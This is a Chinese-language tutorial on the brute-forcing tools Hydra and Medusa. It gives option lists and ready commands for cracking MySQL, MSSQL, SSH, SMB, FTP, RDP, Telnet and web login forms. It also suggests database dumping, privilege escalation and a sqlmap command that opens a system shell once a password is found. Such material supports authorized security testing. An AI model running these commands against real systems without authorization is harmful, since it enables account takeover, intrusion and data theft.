每日一句:
竹批雙耳峻,風入四蹄輕。 ——杜甫《房兵曹胡馬詩》
本文內容:
hydra簡介
hydra安裝配置
hydra破解
美杜莎- Medusa
目標:使用hydra暴力破解密碼
一、hydra簡介
1,定義
Hydra對應的英文意思是九頭蛇,它是一款爆破神器,可以對多種服務的賬號和密碼進行爆破,
包括Web登錄、數據庫、SSH、FTP等服務,支持Linux、Windows、Mac平臺安裝,其中Kali Linux中自帶Hydra。
hydra支持的服務有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQL……
最大的安全漏洞之一是弱口令。 hydra都可以很有針對性的攻擊
二、hydra安裝配置
1,Kali是安全從業人員常用的Linux系統,自帶有大量安全工具集,Hydra自然也集成在裏面,工具位置在密碼攻擊—在線攻擊一欄。
2,開源項目:https://github.com/vanhauser-thc/thc-hydra
3,Windows中Hydra安裝
Hydra官方不支持Windows版,
需要在GitHub上下載,地址爲:https://github.com/maaaaz/thc-hydra-windows 下載之後解壓縮即可。
三、hydra破解
1,Hydra相關參數
-l LOGIN 指定破解的用戶名稱,對特定用戶破解。
-L FILE 從文件中加載用戶名進行破解。
-p PASS小寫p指定密碼破解,少用,一般是採用密碼字典。
-P FILE 大寫字母P,指定密碼字典。
-e ns 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探。
-C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數。
-t TASKS 同時運行的連接的線程數,每一臺主機默認爲16。
-M FILE 指定服務器目標列表文件一行一條
-w TIME 設置最大超時的時間,單位秒,默認是30s。
-o FILE 指定結果輸出文件。
-f 在使用-M參數以後,找到第一對登錄名或者密碼的時候中止破解。
-v / -V 顯示詳細過程。
-R 繼續從上一次進度接着破解。
-S 採用SSL鏈接。
-s PORT 可通過這個參數指定非默認端口。
-U 服務模塊使用細節
-h 更多的命令行選項(完整的幫助)
server 目標服務器名稱或者IP(使用這個或-M選項)
service 指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 一些服務模塊支持額外的輸入(-U用於模塊的幫助)
2,Hydra用法案例
~打開方式:
~圖形化界面:xhydra
~命令行打開:hydra
推薦用命令行直接搞
~破解MySQL密碼
擴展:
數據庫一般會提供一個默認的帳戶,SQL Server的sa用戶,MySQL的root用戶,Oracle的System用戶等。
場景:假如我們現在破解mysql數據庫
步驟:
~hadry -L user.txt -P pass.txt ip mysql
~hydra -L user.txt -P pass.txt mysql://目標IP:mysql端口號
場景:如果需要將爆破的過程打印出來就加個指令-v
實例:hydra -L username.txt -P password.txt -v mysql://目標IP:mysql端口號
說明: 成功後會打印類似如下的信息: [1433][mssql] host:ip login:sa password:sqladmin
問:得到mysql的密碼後一般都幹什麼?
~脫庫
~提權
如果破解數據庫的密碼爲sqladmin,可以利用sqlmap進一步來反彈一個與系統交互的Shell用來提權。命令爲:
sqlmap.py -d "mssql://sa:sqladmin@ip:1433/master" --os-shell
~破解ssh
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -P 密碼字典 -t 線程 -o save.log -vV ip ssh
命令詳細:
攻擊目標:192.168.1.113
使用的模塊:ssh
爆破用戶名:root(-l)
使用的密碼字典:/root/passwd.txt (-P)
爆破線程數:6 (-t)
顯示詳細信息 (-V)
爆破成功一個後停止 (-f)
~windows密碼破解
hydra -l 用戶名 -p 密碼 smb://ip -vV<br>或者<br>hydra -l 用戶名 -p 密碼 smb ip –vV
~破解ftp
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程數(默認16) –vV
如果你發現目標ftp並不是在21端口,而是在其他端口上,可以使用-s參數指定正確的端口,其他服務同樣如此。
~破解rdp
hydra ip rdp -l administrator -P pass.txt –V
===若是不可以用,記得更新一下hydra
~破解telnet
hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f –V
~破解https
hydra -m /index.php -l muts -P pass.txt ip https
~get方式提交 破解web登錄
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /web/
~post方式提交 破解web登錄
hydra -l 用戶名 -P 密碼字典 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V
注意:但是表單爆破推薦burp,hydra太過雞肋
四、美杜莎- Medusa
hydra的缺點
-穩定性差,程序時常崩潰
-速度控制不好,容易觸發服務器屏蔽或鎖死機制
-每主機新建進程,沒服務新建實例
-大量目標破解時性能差
medusa的特點
-穩定性好
-速度控制得當
-基於線程
-支持模塊少於hydra(不支持rdp 遠程桌面)
-WEB-Form支持存在缺陷
參數:
-h [TEXT] 目標IP 注意!!!不是幫助
-H [FILE] 目標主機文件
-u [TEXT] 用戶名
-U [FILE] 用戶名文件
-p [TEXT] 密碼
-P [FILE] 密碼文件
-C [FILE] 組合條目文件
-O [FILE] 文件日誌信息
-e [n/s/ns] N意爲空密碼,S意爲密碼與用戶名相同
-M [TEXT] 模塊執行名稱
-m [TEXT] 傳遞參數到模塊
-d 顯示所有的模塊名稱
-n [NUM] 使用非默認端口
-s 啓用SSL
-r [NUM] 重試間隔時間,默認爲3秒
-t [NUM] 設定線程數量
-L 並行化,每個用戶使用一個線程
-f 在任何主機上找到第一個賬號/密碼後,停止破解
-q 顯示模塊的使用信息
-v [NUM] 詳細級別(0-6)
-w [NUM] 錯誤調試級別(0-10)
-V 顯示版本
-Z [TEXT] 繼續掃描上一次
使用語法:
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
破解MSSQL
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
輸出爲日誌文件,使用-O參數
medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt
說明: hydra與medusakali均自帶